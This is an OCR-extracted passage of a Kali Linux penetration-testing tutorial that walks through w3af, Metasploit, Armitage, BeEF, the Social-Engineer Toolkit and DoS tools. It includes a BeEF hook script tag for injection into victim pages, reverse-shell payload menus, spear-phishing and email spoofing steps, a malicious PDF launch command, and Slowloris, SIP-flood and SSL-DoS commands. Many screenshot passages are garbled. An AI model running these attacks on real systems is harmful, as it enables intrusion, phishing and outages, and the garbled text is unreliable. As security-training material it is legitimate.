Vulnerable? N/A

There are 2 vulnerable points in 28 found entries!
Taken: 28 min and 20 sec
bugs, suggestions, contributions to joomscan@yehg.net

=3 |

SSL Scanning Tools

TLSSLed is a Linux shell script used to evaluate the security of a target SSL/TLS (HTTPS)
web server implementation. It is based on sslscan, a thorough SSL/TLS scanner that is
based on the openssl library, and on the “openssl s_client” command line tool.
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The current tests include checking if the target supports the SSLv2 protocol, the NULL
cipher, weak ciphers based on their key length (40 or 56 bits), the availability of strong
ciphers (like AES), if the digital certificate is MD5 signed, and the current SSL/TLS
renegotiation capabilities.

To start testing, open a terminal and type “tlssled URL port". It will start to test the
certificate to find data.

root@kali: ~ [ — 0 < ]
File Edit View Search Terminal Help
e 44
d pased O a ana ope
b Ra = addong 0
ope o O Ope 8 e O
Date ¢ 0]
a g 0 44
o) = o) =Te 44 C O
d e a gae e < pea
e targe = 44 ee 0 spea
d Proctoco 2 O
e P ea d = ae d ope o O O O e O
R ® 3 e 12
e d O

You can see from the finding that the certificate is valid until 2018 as shown in green in
the following screenshot.

[.] Testing for the certificate CA issuer ...
Issuer: COMODO RSA Domain Validation Secure Server CA

[.] Testing for the certificate validity period
Today: Sat Oct 22 19:27:24 UTC 2016

valid before: :

valid after:

[.] Checking preferred server ciphers

Testing for SSL/TLS renegotiation MitM wvuln. (CVE-2009-3555)

[+] Testing for secure renegotiation support (RFC 5746)
Secure Renegotiation IS MNOT supported

Testing for SSL/TLS renegotiation DoS wvuln. (CVE-2011-1473)

[.] Testing for client initiated (CI) SSL/TLS renegotiation (insecure)...
UNKNOWN

Testing for client authentication using digital certificates
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w3af

w3af is a Web Application Attack and Audit Framework which aims to identify and exploit
all web application vulnerabilities. This package provides a Graphical User Interface (GUI)
for the framework. If you want a command-line application only, install w3af-console.

The framework has been called the “"metasploit for the web”, but it’s actually much more
as it also discovers the web application vulnerabilities using black-box scanning
techniques. The w3af core and its plugins are fully written in Python. The project has more
than 130 plugins, which identify and exploit SQL injection, cross-site scripting (XSS),
remote file inclusion and more.

Step 1: To open it, go to Applications ->03-Web Application Analysis —> Click w3af.

jon Analysis

p———.

Step 2: On the “"Target” enter the URL of victim which in this case will be metasploitable
web address.

W3O = WD APPUCADGIT ATTACK AN0 AUTIT FTITEWoTR ™ W v
Proflles Edn Tools Configuration Help
3 T = G = " RSO O B - B o 0 a =<
Sean config Exploit
Profiies Target: 1921641 102/dwva P Start %
empty..profile Active Plugis
OWASP_TOP10 audit
sadit_high_nsk auth
bruteforce bruteforce
fast_scan crawd
full_audn evasion
full_audet_spider_man grep
sitemap nfrastructure
web_infrastructure mangle
9 This is an empty profile that you can use
to start a new configuration from
Active Flug
= output
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Step 3: Select the profile -> Click “Start”.

Profiles Edit Tools Configuration Help
DG O » n B 4
Scan config Explott

Frofiles Target: 192,168 1 101/dwva

empty._profile Active Plugin

QWASP.TOP10

= sudit
audit_high_risk ¥ N blind_sgli
bruteforce buffer_overflow
fast_scan » cors.orign
full _audit csrf

sitemap N eval

web_nfrastructure N file upload
format_string
frontpags

Active Plugin

= output

Wal ™ Vel ApPIGanOIT AU SN0 Ao TTEmeEwors

B § 0 o <
D — .’Suﬂl S
dav

This plugin finds WebDAV configuration errors. These errors are
genarally server configuration erroes rather than 3 web application
errore. To check for vulnerabiities of this kind, the plugn will try
10 PUT a file on a directory that has WebDAV enabled, if the file s
uploaded successfully, then we have found a bug,

Step 4: Go to “"Results” and you can see the finding with the details.

(R o dd
Scancontly | Log | Results | Explojt
KBBrowser URLS  Request/Response ravigatol
B win 8 Info | | Misc
| Knowledge Base

v 1137 (1)
» x5% (29)

sgll

¥ sqli

[H€8 sqQLinjection
(D@ sqL Injection

v

(2}

[

‘:‘ |__ ald

o~

SQL injectan in a Unknown database was found at: "http://nglily w3affaudit/sql_injection/
select/sal Injection string.phe”, using HTTP method GET. The sent data was: "name=d%27z
%220". This wulrerability was lfound in Lhe request withid 1725.

Reguest Rcwome
Raw  Headers

HITP/1.1 288 OK

content-length: 163
content-encoding: gzip
x-powered-by: PHP/5.3.10-1ubuntul. 4
vary: Accept-Encoding

sarver: Apache/2.2.22 (Ubuntul
date: Sat, 19 Jan 2013 20:17:18 GMT
content-type: text/htnl

Fatal error: Uncaught exceplion 'Exceptbion’ with message ‘Error
perforning guery: iusers where nane='d'z"@': <br /
>1064: You have an error in your SQL syntax; check the panual
that corresponds to your MySOL server version for the right
syntax to use near 'O at line 1' in Jvar/wwwigl/w3at/audit/
sql_injection/scliccts/sql _injection string.php: 15
Stack trace:
240 {nain}

thrown in fvar /wed /@Y wiel/sudit/sql injection/selecty
sql Injection string.php on line 15
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6. Kali Linux — Exploitation Tools

In this chapter, we will learn about the various exploitation tools offered by Kali Linux.

Metasploit

As we mentioned before, Metasploit is a product of Rapid7 and most of the resources can
be found on their web page https://www.metasploit.com. It is available in two versions -
commercial and free edition. The differences between these two versions is not much
hence, in this case we will be using the Community version (free).

As an Ethical Hacker, you will be using “Kali Ditribution” which has the Metasploit
community version embedded, along with other ethical hacking tools which are very
comfortable by saving time of installation. However, if you want to install as a separate
tool it is an application that can be installed in the operating systems like Linux, Windows
and OS X.

First, open the Metasploit Console in Kali. Then, go to Applications -> Exploitation Tools ->
Metasploit.

< >

@Fy oSE DG E g
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After it starts, you will see the following screen, where the version of Metasploit is
underlined in red.

Terminal -0 >
File Edit View Search Terminal Help

*.@eee
', @@

/ Metasploit!
;@'

(o) ennn

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ .meta it v4.11.8- ]
--=[ 1519 exploits - 880 auxiliary - 259 post ]
--=[ 437 payloads - 38 encoders - 8 nops ]
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

In the console, if you use help or ? symbol, it will show you a list with the commands of
MSP along with their description. You can choose based on your needs and what you will
use.
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Another important administration command is msfupdate which helps to update the
metasploit with the latest vulnerability exploits. After running this command in the console,
you will have to wait several minutes until the update is complete.

pdate

c: msfupdate

B

additional
it/mirror
st/nlrrors
t/nirror
it/mirrors rolling/main am

It has a good command called “"Search” which you can use to find what you want as shown
in the following screenshot. For example, I want to find exploits related to Microsoft and
the command can be msf >search name:Microsoft type:exploit.

Where “search” is the command, “name” is the name of the object that we are looking for,
and “type” is what kind of script we are looking for.

normal
normal
narmal
normal
“ormal

wrmal
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Another command is “info”. It provides the information regarding a module or platform
where it is used, who is the author, vulnerability reference, and the payload restriction
that this can have.

Armitage

Armitage GUI for metasploit is a complement tool for metasploit. It visualizes targets,
recommends exploits, and exposes the advanced post-exploitation features.

Let's open it, but firstly metasploit console should be opened and started. To open
Armitage, go to Applications -> Exploit Tools -> Armitage.

Applications » laces yo-ArmitageMain

Favorites

-—
Y :
nformation Gathenng

‘I beef xss fr
2 - Vulnerability Analysi )

Analysis M metaspion

sment :
M msf payloa

05~ F ks
: y p swarchsploit
06 - Wireless Attacks

!« Reverss Engneerng SET social engl

Explotation Tools

sqlmap
¥+ Sniffing & Spoofing

S
Post Explottation &; terrineter
Forensics

2 « Reporting Too

14 -« System Seryices

Usual applications
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Click the Connect button, as shown in the following screenshot.

Connect..

127.0.0.1
55553
mst

e

Armitage  View Hosts  Attacks Warkspaces  Help

* (@ audbkary
* @ admin
Y& hetp
_ tomcat_admirestration
tomeat_utfa_traversal
* (& scanner .
Y& hetp NT AUTHORITY\SYSTEN a, (ADMIN
tomeat_&num 4
lom.;;;(_mw_lt:qu-
" eplot
v & mur
v @& hatp

B tomeat mor deploy

Modules

it Metsrpeatar 6 »
NT AUTHOSITY

Host

— et ettt ———— By O ow T o=
l Console 4 X ] Senices X rilluﬁ x] Processes 1 X ] Consale 12 X I cemd exe LA3G@E X ] Kuy Scan
o Screenshot
Console ' "
ﬁn, Name 'Slze Mcedified

Documents and Seitings

Inatpul

@ Program Fles

w Pythond5 2010-.09-29 09:43:01 040D
@8 System Volume Information 2010-02-14 22:21:33 D500

Armitage is user friendly. The area “Targets” lists all the machines that you have
discovered and you are working with, the hacked targets are red in color with a
thunderstorm on it.
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After you have hacked the target, you can right-click on it and continue exploring with
what you need to do such as exploring (browsing) the folders.

TN T T

| Conscée & x | Serwces X [ files® X | Processes1 x [ Console12 X | emd.exe 1636@6 X | | Mgt scans BN

- 1wl screenshot
0

Conoate. sodfied Mode

& Name
2010-02-14 22:22:02 -05

Dacuments and Settings 40777 wsrwnrw

00
00

fr  netpub 2010-02-14 22016 0

@ Program Files 20101004 10:13:3Z -0400 4 AT TH
W Python2s 201009-2% 09:43:0]1 -0400 ADT 77 fewarwwrw
W System Volume mfarmation 201002-14 22:21:33 -0500 40777 rwrwnrwe

In the following GUI, you will see the view for the folders, which is called console. Just by
clicking the folders, you can navigate through the folders without the need of metasploit
commands.

On the right side of the GUI, is a section where the modules of vulnerabilities are listed.

Armitage VWiew Hosts Attacks

[E auxiliary
¥ [E admin
¥ (& http
|| tomcat_administration
| tomcat_utfa_traversal
¥ [E scanner
¥ (& http
E| tomcat_enum
| tomeat_mar_login

= exploit
¥ [ multi
¥ (& http

tomcat_mgr_deploy

BeEF

BeEF stands for Browser Exploitation Framework. It is a penetration testing tool that
focuses on the web browser. BeEF allows the professional penetration tester to assess the
actual security posture of a target environment using client-side attack vectors.

First, you have to update the Kali package using the following commands:

root@kali:/# apt-get update

root@kali:/# apt-get install beef-xss
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To start, use the following command:

root@kali:/# cd /usr/share/beef-xss

root@kali:/# ./beef

[e))

N

D
=]
)

on network intert
URL: http://12
UI URL: http://

IGMULLU on network int

¢ URL: ht
UI URL: ht
ful API key:

http:/

r started

Open the browser and enter the username and password: beef.

LY

Username

i
%]

l
Passwora l:--i

LogH

The BeEF hook is a JavaScript file hosted on the BeEF server that needs to run on client
browsers. When it does, it calls back to the BeEF server communicating a lot of information
about the target. It also allows additional commands and modules to be ran against the
target. In this example, the location of BeEF hook is at
http://192.168.1.101:3000/hook.js.
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In order to attack a browser, include the JavaScript hook in a page that the client will view.
There are a number of ways to do that, however the easiest is to insert the following into
a page and somehow get the client to open it.

<script src="http://192.168.1.101:3000/hook.js"
type="text/javascript"></script>

Once the page loads, go back to the BeEF Control Panel and click “Online Browsers” on
the top left. After a few seconds, you should see your IP address pop-up representing a
hooked browser. Hovering over the IP will quickly provide information such as the browser
version, operating system, and what plugins are installed.

¥ Delf O44Sapha | Sikewt Dog | Leoout

Hoolkod Browsers Cetting Started * | oo Currvert Btowser
4 Onire Browsers

&2 188 101

K ¥ 50188100 \
To remotely run the command, click the "Owned” host. Then, on the command click the
module that you want to execute, and finally click “Execute”.

# BoEF 04.45alpha | Submit Bug | Logout
oked Browsers
bwsers
8.1.101 Detalls Logs | Commands Rider XssRays Ipec
192 168,1.100
hwsors

Getting Started 1 Logs Current Browser

Module Tree Module Results History Man-In-The-Browser

[_) Browser (43) Id « date label
[ Chrome Extensions (6)

Description: This module will use a8 Man-In-
The-Browser attack to ensure that
() Dabug (8) The resuits from the BeEF hook will stay until the
(] Exploits (48) ”“ ""_"'" :‘k’l""‘".";‘v‘l’hl user leaves the domain (manually
(] Host (15) mosg il changing it in the URL bar)
(] IPEC (8)
[ Motasploit (0)
) Misc (7)
| 4 ) Network (9)
DNS Enumeration
DOSer
Detect Social Notworks
Detoct Tor
IRC NAT Pinning
Ping Sweep
Port Scanner
© Fingerprint Network
@ Ping Sweep (Java)
_ ) Porsistonca (4)
[} Phonegap (15)
(] Social Engineering (10)

here

Exocute

uestor \;) Roady
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Linux Exploit Suggester

It suggests possible exploits given the release version ‘uname -r’ of the Linux Operating
System.

To run it, type the following command:

root@kali:/usr/share/linux-exploit-suggester# ./Linux_Exploit_Suggester.pl -k
3.0.0

3.0.0 is the kernel version of Linux OS that we want to exploit.
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7. Kali Linux — Forensics Tools

In this chapter, we will learn about the forensics tools available in Kali Linux.

pOf

pOf is a tool that can identify the operating system of a target host simply by examining
captured packets even when the device in question is behind a packet firewall. POf does
not generate any additional network traffic, direct or indirect; no name lookups; no
mysterious probes; no ARIN queries; nothing. In the hands of advanced users, POf can
detect firewall presence, NAT use, and existence of load balancers.

Type “pOf — h” in the terminal to see how to use it and you will get the following results.

root@kali; ~

/pOf: invalid option -- 'h'
Jsage: pof [ ...options... ] [ 'filter rule' ]

letwork jinterface options:

-1 iface - listen on the specified network interface

-r file - read offline pcap data from a given file

-p - put the listening interface in promiscuous mode
-L - list all available interfaces

Jperating mode and output settings:

-f file - read fingerprint database from 'file' (pOf.fp)

-0 file - write information to the specified log file

-5 name - answer to API queries at a named unix socket

-u user - switch to the specified unprivileged account and chroot
-d - fork into background (requires -o or -s)
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It will list even the available interfaces.

- Available interfaces --

0: Name : etho

Description : -
: 192.168.1.9

IP address

: IName

Description
IP address

: Name
Description :
: (none)

IP address

: Name

: nflog
: Linux netfilter log (NFLOG) interface
: (none)

1 any

Pseudo-device that captures on all interfaces

% 10

Description : -
IP address : 127.0.0.1

Then, type the following command: “pOf —i eth0 -p -o filename”.

Where the parameter "-i" is the interface name as shown above. "-p" means it is in
promiscuous mode. "-0" means the output will be saved in a file.

i~# pOf -1 ethO -p -0 /root/Desktop/my.log

Open a webpage with the address 192.168.1.2

Iceweasel

hetp://192.168.1.2/ x
168 l v E L8 3 & =
Most Visitedv  [lOffensive Security "\ Kali Unux N\ Kali Docs \ Kali Tools KBExploit-D8
It works!

e default web page for this server.

b server software is running but no content has been added, yet

From the results, you can observe that the Webserver is using apache 2.x and the OS is
Debian.

pdfparser

pdf-parser is a tool that parses a PDF document to identify the fundamental elements used
in the analyzed pdf file. It will not render a PDF document. It is not recommended for text
book case for PDF parsers, however it gets the job done. Generally, this is used for pdf
files that you suspect has a script embedded in it.
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The command is:

pdf-parser -o 10 filepath

where "-0" is the number of objects.

:~# pdf-parser -0 10 /root/Desktop/g '’ .pdf
lobj 10 @
Type: /Action

Referencing:

<<
/S /Launch

As you can see in the following screenshot, the pdf file opens a CMD command.

/F (cmd.exe)

/D ' (c:\\\\windows\\\\system32) '

/P |

/Q '/C %HOMEDRIVE%&cd %SHOMEPATH%&(if exist "Desktop\\\\template.pdf" (cd
"Desktop") ) &(if exist "My Documents\\\\template.pdf" (cd "My Documents"))&(if e

xist "Documents\\\\template.pdf" (cd "Documents"))&(if exist "Escritorio\\\\temp
late.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\\\\template.pdf" (cd "Mis
Documentos") ) &(start template.pdf)\n\n\n\n\n\n\n\n\n\nTo view the encrypted con
tent please tick the "Do not show this message again® box and press Open.)'

>>
=2

Dumpzilla

Dumpzilla application is developed in Python 3.x and has as a purpose to extract all
forensic interesting information of Firefox, Iceweasel, and Seamonkey browsers to be
analyzed.

ddrescue

It copies data from one file or block device (hard disc, cdrom, etc.) to another, trying to
rescue the good parts first in case of read errors.

The basic operation of ddrescue is fully automatic. That is, you don't have to wait for an
error, stop the program, restart it from a new position, etc.

If you use the mapfile feature of ddrescue, the data is rescued very efficiently (only the
needed blocks are read). Also, you can interrupt the rescue at any time and resume it
later at the same point. The mapfile is an essential part of ddrescue's effectiveness. Use
it unless you know what you are doing.

The command line is :

dd_rescue infilepath outfilepath

Parameter "=v" means verbose. "/dev/sdb" is the folder to be rescued. The img file is
the recovered image.
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About to copy 1047 MBytes from /dev/sdb to
Starting positions: infile = 0 B,
128 hard blocks

block size:

rescued:

Current

rescued:
ipos:
0pos:

) e

(o))
[# =)

v,
()}
o o

2]

0 O O
=
o0

0

DFF

outfile

Truncate:

no

Kali Linux

It is another forensic tool used to recover the files. It has a GUI too. To open it, type “dff-
gui” in the terminal and the following web GUI will open.

File Edit Module View IDE ?

Open evidence 23 Open device

Browser
g

& & lcons ¢
Name

¥ [0 B Local devices

4 Logical files

L 4 « Modules root

4 [ Bookmarks

Digital Forensics Framework

Browser ™ Console " Live scripting 4 IDE

¥
G / Tags~ Search Filter
name size tags
ﬁ Local devices 0
Logical files 0
4% Modules root 0

path

&l

Attribute

name

node type

generated by

size

= attributes

< type

magic

magic mime

Task Manager &» Output @ Errors #& Modules | =% Preview
IV Preview 3 (%)
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Click File -> “Open Evidence”.

Kali Linux

File | Edt Module View IDE 7
ery device Browser WM Corsoe  WH Lve soriting g, 10€

',_{5 Proview

|
|3

TagMansose | QP Owot | @ Evors | dhModdes < Prevew

& Opendevice 8 x
& &=
= oo los v 7= g Jrs | o sewch |/ rRm
Name ‘ | name e gs path | | Attrbute A
$015 Lo st o~ = [ :
&1 ) Logical files [ & tocat devices 0 ; (| node type fol
: | %% Modules root ‘ [J 4 Logical files 0 / | ?;r:ealedby »
| w Bookmarks - [
‘ [ 45 Modules root ¢ / 4 atnbutes
- mq
magic e

‘
>| <l

Magic mame aj

The following table will open. Check “"Raw format” and click “+” to select the folder that
you want to recover.

Open local fes or drectory

v RAW Format | EWF format || APF Format
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Then, you can browse the files on the left of the pane to see what has been recovered.

e e Matis Vee o )
e L e Pirek Plewery o0
”»— o x
L S et et el e
et " P e
£ - o X M S0 i
Pivems - [ - g pass . Amts -
$0) 8 s O T — ..
* $10 % Loguutie . m MLags 4 V0B cormin Pon vy 0T Bt Fut s nade type
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4 (IS ————) [ e agial th 8 bammis Ppiovey O it P otium > wpre 2
¢ &L 1 Pocibune | 'L Rages bae /Y ermnne Focovery (051 DettrnSuttra :
' Unat: wn g X -
0 3TN Foumes | [ PR Naprsd Lo 8 popane Bot mvesy 001 Owttuen & Wit . e
*d ORI DR =2 Ny o B ¥ ovme s Bas vy 001D outhion /& phdum P W w—
e S Ango S s Sty S o b o
3 T —— - S Mgt s 100 B vt B sy, 0B i 5 i ::“';
s vestrene - Mgt o P gopmmin B ey 001 B ttan S w i ,"'_'V
' W Chatutn e P ¥ 4303 F g B vy OB0 Farbace F wtms frowms
4 kot ey A Aags ol Gns/¥ gromes Ry imemey O B A bary P et tmry srenied
4+ o - I L e v eownd
+ s fattes e, ALOpM Fes/F porse-Sncinrsy O Duntuni Pytiin @31 ery oAt
wae
+ - Arvge s biesF armmse S ey 00U WA er Butbumy Ooi apve 4T}
'S rere. ’ - 4 5 Pkl
s walecmnd wecs -'. Mgt ol b prwmnn S ey 30 Bt i ot b - o it e
&1L Mot st -4 L) JLg L .
arnme  Qoae | B | Amae e
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8. Kali Linux — Social Engineering

In this chapter, we will learn about the social engineering tools used in Kali Linux.

Social Engineering Toolkit Usage

The Social-Engineer Toolkit (SET) is an open-source penetration testing framework
designed for social engineering. SET has a number of custom attack vectors that allow you
to make a believable attack in a fraction of time. These kind of tools use human behaviors
to trick them to the attack vectors.

Let’s learn how to use the Social Engineer Toolkit.

Step 1: To open SET, go to Applications -> Social Engineering Tools -> Click "SET” Social
Engineering Tool.

Password Attacks
Mreless Attack

Reverse Engineering
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Step 2: It will ask if you agree with the terms of usage. Type “y” as shown in the following
screenshot.

Terminal (- IO I <)

File Edit View Search Terminal Help
OF THE POSSIBILITY OF SUCH DAMAGE.

'"The above licensing was taken from the BSD licensing and is applied to Social -En
gineer Toolkit as well.

Note that the Social -Engineer Toolkit is provided as is, and is a royalty free o
pen-source application.

Feel free to modify, use, change, market, do whatever you want with it as long a
s you give the appropriate credit where credit is due (which means giving the au
thors the credit they deserve for writing it). Also note that by using this soft
ware, if you ever see the creator of SET in a bar, you should give him a hug and

buy him a beer. Hug must last at least 5 seconds. Author holds the right to ref
use the hug (most likely will never happen) or the beer (also most likely will n
ever happen) .

Step 3: Most of the menus shown in the following screenshot are self-explained and
among them the most important is the number 1 “Social Engineering Attacks”.

Terminal @00
File Edit View Search Terminal Help

@Ha 1ngDa

//www . trustedsec .com

al -Enginec Toolkit
for all of your SE needs.

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu:

1) Social -Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Social -Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

Exit the Social -Engineer Toolkit
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Step 4: Type “1” -> Enter. A submenu will open. If you press the Enter button again,
you will see the explanations for each submenu.

The Spear-phishing module allows you to specially craft email messages and send them
to your targeted victims with attached FileFormatmalicious payloads. For example,
sending malicious PDF document which if the victim opens, it will compromise the system.
If you want to spoof your email address, be sure “Sendmail” is installed (apt-get install
sendmail) and change the config/set_config SENDMAIL=0OFF flag to SENDMAIL=ON.

There are two options for the spear phishing attack:

e Perform a Mass Email Attack

e Create a FileFormat Payload and a Social-Engineering Template

The first one is letting SET do everything for you (option 1), the second one is to create
your own FileFormat payload and use it in your own attack.

Terminal Q@00

File Edit View Search Terminal Help
10) Third Party Modules

99) Return back to the main menu.

The Spearphishing module allows you to specially craft email messages and send
them to a large (or small) number of people with attached fileformat malicious
payloads. If you want to spoof your email address, be sure "Sendmail" is in-
stalled (apt-get install sendmail) and change the config/set config SENDMAIL=0F
F

flag to SENDMAIL=0ON.

There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

Perform a Mass Email Attack
Create a FileFormat Payload
Create a Social -Engineering Template

Return to Main Menu

1

Type “99” to go back to the main menu and then type “2” to go to “The web attack
vectors”.

The web attack module is a unique way of utilizing multiple web-based attacks in order to
compromise the intended victim. This module is used by performing phishing attacks
against the victim if they click the link. There is a wide variety of attacks that can occur
once they click a link.

78

¥

L

tutorialspoint

EIMPLYEAEGEYLEARNING



Kali Linux

Terminal G0

File Edit View Search Terminal Help

ate however when clicked a window pops up then is replaced with the malicious 1ifg
k. You can edit the link replacement settings in the set config if its too slow
/fast.

The Multi-Attack method will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser, Credenti
al Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell inje
ction through HTA files which can be used for Windows-based powershell exploitat
ion through the browser.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
Web Jacking Attack Method
Multi-Attack Web Method
Full Screen Attack Method
HTA Attack Method

Return to Main Menu

Type “99” to return to the main menu and then type “3".

The infectious USB/CD/DVD module will create an autorun.inf file and a Metasploit
payload. The payload and autorun file is burned or copied on a USB. When DVD/USB/CD
is inserted in the victim’s machine, it will trigger an autorun feature (if autorun is enabled)
and hopefully compromise the system. You can pick the attack vector you wish to use:
fileformat bugs or a straight executable.

Following are the options for Infectious Media Generator.

e File-Format Exploits

e Standard Metasploit Executable

> 3
The Infectious USB/CD/DVD module will create an autorun.inf file and a
Metasploit payload. When the DVD/USB/CD is inserted, it will automatically
run if autorun is enabled.

Pick the attack vector you wish to use: fileformat bugs or a straight executabl

1) File-Format Exploits
2) Standard Metasploit Executable

99) Return to Main Menu

= |

Type “"99” to go back to the main menu. Then, type “"4” to go to "The web attack vectors”.
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The create payload and listener is a simple way to create a Metasploit payload. It will
export the exe file for you and generate a listener. You would need to convince the victim
to download the exe file and execute it to get the shell.

> 4

1) Windows Shell Reverse TCP Spawn a command shell on victim an
d send back to attacker
2) Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victi
,m and send back to attacker
3) Windows Reverse TCP VNC DLL Spawn a VNC server on victim and s
end back to attacker
4) Windows Shell Reverse TCP X64 Windows X64 Command Shell, Reverse
TCP Inline
5) Windows Meterpreter Reverse TCP X64 Connect back to the attacker (Wind
ows x64), Meterpreter
6) Windows Meterpreter Egress Buster Spawn a meterpreter shell and find
a port home via multiple ports
7) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP usi
ng SSL and use Meterpreter
8) Windows Meterpreter Reverse DNS Use a hostname instead of an IP ad
dress and use Reverse Meterpreter
9) Download/Run your Own Executable Downloads an executable and runs i
t

.

Type “99” to go back to the main menu and then type “5” to go to “The web attack
vectors”.

- 255

Social Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would

be to send an email to one individual person. The second option

will allow you to import a list and send it to as many people as
you want within that list.

What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer

89. Return to main menu.

The mass mailer attack will allow you to send multiple emails to victims and customize the
messages. There are two options on the mass e-mailer; the first is to send an email to a
single email address. The second option allows you to import a list that has all recipient
emails and it will send your message to as many people as you want within that list.

e E-Mail Attack Single Email Address

e E-Mail Attack Mass Mailer
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Type “99” to go back to the main menu and then type “9” to go to “Powershell Attack

Vector”.

> 9

The Powershell Attack Vector module allows you to create PowerShell specific att

acks.
1t in
ful 1
trigge

1)
2)
3)
4)

The Pow

These attacks will allow you to use PowerShell which is available by defau
all operating systems Windows Vista and above. PowerShell provides a fruit
andscape for deploying payloads and performing functions that do not get
red by preventative technologies.

Powershell Alphanumeric Shellcode Injector
Powershell Reverse Shell

Powershell Bind Shell

Powershell Dump SAM Database

Return to Main Menu

ershell Attack Vector module allows you to create PowerShell specific attacks.

These attacks allow you to use PowerShell, which is available by default in all operating

systems

Windows Vista and above. PowerShell provides a fruitful landscape for deploying

payloads and performing functions that do not get triggered by preventive technologies.

e Powershell Alphanumeric Shellcode Injector

e Powershell Reverse Shell
e Powershell Bind Shell
e Powershell Dump SAM Database

¥
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9. Kali Linux — Stressing Tools

Stressing tools are used to create DoS attacks or to create the stress test for different
applications so as take appropriate measures for the future.

All the Stress testing tools are found in Applications -> 02-Vulnerability Analysis -> Stress
testing.

2

01 - Information Gathering

hrwury
02 - Vulnwrability Anatysis
® Cisco Tools

powerfuzzer
® Fuzzing Tools
siparmyknife

plication Analysis spike-gene.

spike-gene

splke-gene

PEPPPI IS

spike-gene

) - Sniffing & Spoafing

) ~ Post i:a[.lw-'-t »

2 - Reporting Tools

All Stress testing test will be done on metsploitable machine which has IP of 192.168.1.102

sfadnin@netasploitable:™5 ifconfig
tho Link encap:Ethernet HUaddr 08:00:27:0c:c9:6e

inet addr:192.168.1.102 Bcast:192.168.1.255 Mask:255.255.255.0
inetb addr: feB0::a00:27ff :felc:c96es64 Scope:Link

Slowhttptest

Slowhttptest is one of the DoS attacking tools. It especially uses HTTP protocol to connect
with the server and to keep the resources busy such as CPU and RAM. Let’s see in detail
how to use it and explain its functions.

To open slowhttptest, first open the terminal and type “slowhttptest —parameters”.
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You can type “slowhttptest —h” to see all the paramenters that you need to use. In case
you receive an output, ‘Command not found’ you have to first type “apt-get install
slowhttptest”.

:~# apt-get install slowhttptest

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:

slowhttptest
0 upgraded, 1 newly installed, O to remove and 1759 not upgraded.
Need to get 28.5 kB of archives.

~ PRI - T s o o

:~# slowhttptest -h
tbash: slowhttptest: command not found
~#

Then after installation, again type slowhttptest —h

:~#'slowhttptest -h

slowhttptest, a tool to test for slow HTTP DoS vulnerabilities - version 1.6
Usage: slowhttptest [options ...]
Test modes:

-H slow headers a.k.a. Slowloris (default)

-B slow body a.k.a R-U-Dead-Yet

-R range attack a.k.a Apache killer

-X slow read a.k.a Slow Read

Reporting options:

-g generate statistics with socket state changes (off)
-0 file prefix save statistics output in file.html and file.csv (-g required

\

Type the following command:

slowhttptest -c 500 -H -g -o outputfile -i 10 -r 200 -t GET -u
http://192.168.1.202/index.php -x 24 -p 2

Where,

e (-c 500) = 500 connections

e (-H) = Slowloris mode

e -g = Generate statistics

e -0 outputfile = Output file name

e =i 10 = Use 10 seconds to wait for data

e =-r 200 = 200 connections with -t GET = GET requests
e -u http://192.168.1.202/index.php = target URL
e =X 24 = maximum of length of 24 bytes

e =p 2 = 2-second timeout
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Kali Linux

Once the test starts, the output will be as shown in the following screenshot, where you
can notice that the service is available.

ted:

Llosed!
ervice available:

After a while, at the 287 connection the service goes down. This means that the server
can handle a maximum of 287 HTTP connections.

Inviteflood

Inviteflood is a SIP/SDP INVITE message flooding over UDP/IP. It executes on a variety of
Linux distributions. It carries out DoS (Denial of Service) attacks against SIP devices by
sending multiple INVITE requests.

To open Inviteflood, first open the terminal and type “inviteflood —parameters”

For help, you can use “inviteflood -h”
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~# inviteflood -h

inviteflood - Version 2.0
June 09, 2006

Usage:
Mandatory -
interface (e.g. eth@)
target user (e.g. "" or john.doe or 5000 or "1+210-555-1212")
target domain (e.g. enterprise.com or an IPv4 address)
IPv4 addr of flood target (ddd.ddd.ddd.ddd)

flood stage (i.e. number of packets)

Optional -
-a flood tool "From:" alias (e.g. jane.doe)
-i IPv4 source IP address [default is IP address of interface]
-S srcPort (0@ - 65535) [default is well-known discard port 9]
-D destPort (0 - 65535) [default is well-known SIP port 5060]
-1 1ineString line used by SNOM [default is blank]
-5 sleep time btwn INVITE msgs (usec)
-h help - print this usage
-v verbose output mode

Next, you can use the following command:

inviteflood eth@ target_extension target_domain target_ip number_of_packets

Where,

¢ target_extension is 2000

e target_domain is 192.168.x.x
o target_ip is 192.168.x.x

¢ number_of packetsis 1

e =ais alias of SIP account

~# invitefl ethOQ 2000 192.168.1

inviteflood - Version 2.0
June 09,
ource IPv4 addr:port = 192 .4RRARNES : O
IPv4 addr:port .168 . 288 s
targeted UA 2000@192 168,857

Flood User Alias:

Flooding destination with 1 packets

sent: 1

laxflood

Iaxflood is a VoIP DoS tool. To open it, type “iaxflood sourcename destinationname
numpackets” in the terminal.

To know how to use, type “iaxflood -h"

:~# iaxflood -h
usage: iaxflood sourcename destinationname numpackets
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thc-ssl-dos

THC-SSL-DOS is a tool to verify the performance of SSL. Establishing a secure SSL
connection requires 15x more processing power on the server than on the client. THC-
SSL-DOS exploits this asymmetric property by overloading the server and knocking it off
the Internet.

Following is the command:

thc-ssl-dos victimIP httpsport -accept

In this example, it will be -

thc-ssl-dos 192.168.1.1 443 -accept

Its output would be as follows:

root@kali: ~

Greetingz: the french underground

Waiting for script kiddies to piss off

The force is with those who read the source...
Handshakes 0 [0.00 h/s], 1 Conn, O Err
Handshakes 0 [0.00 h/s], 10 Conn, O Err

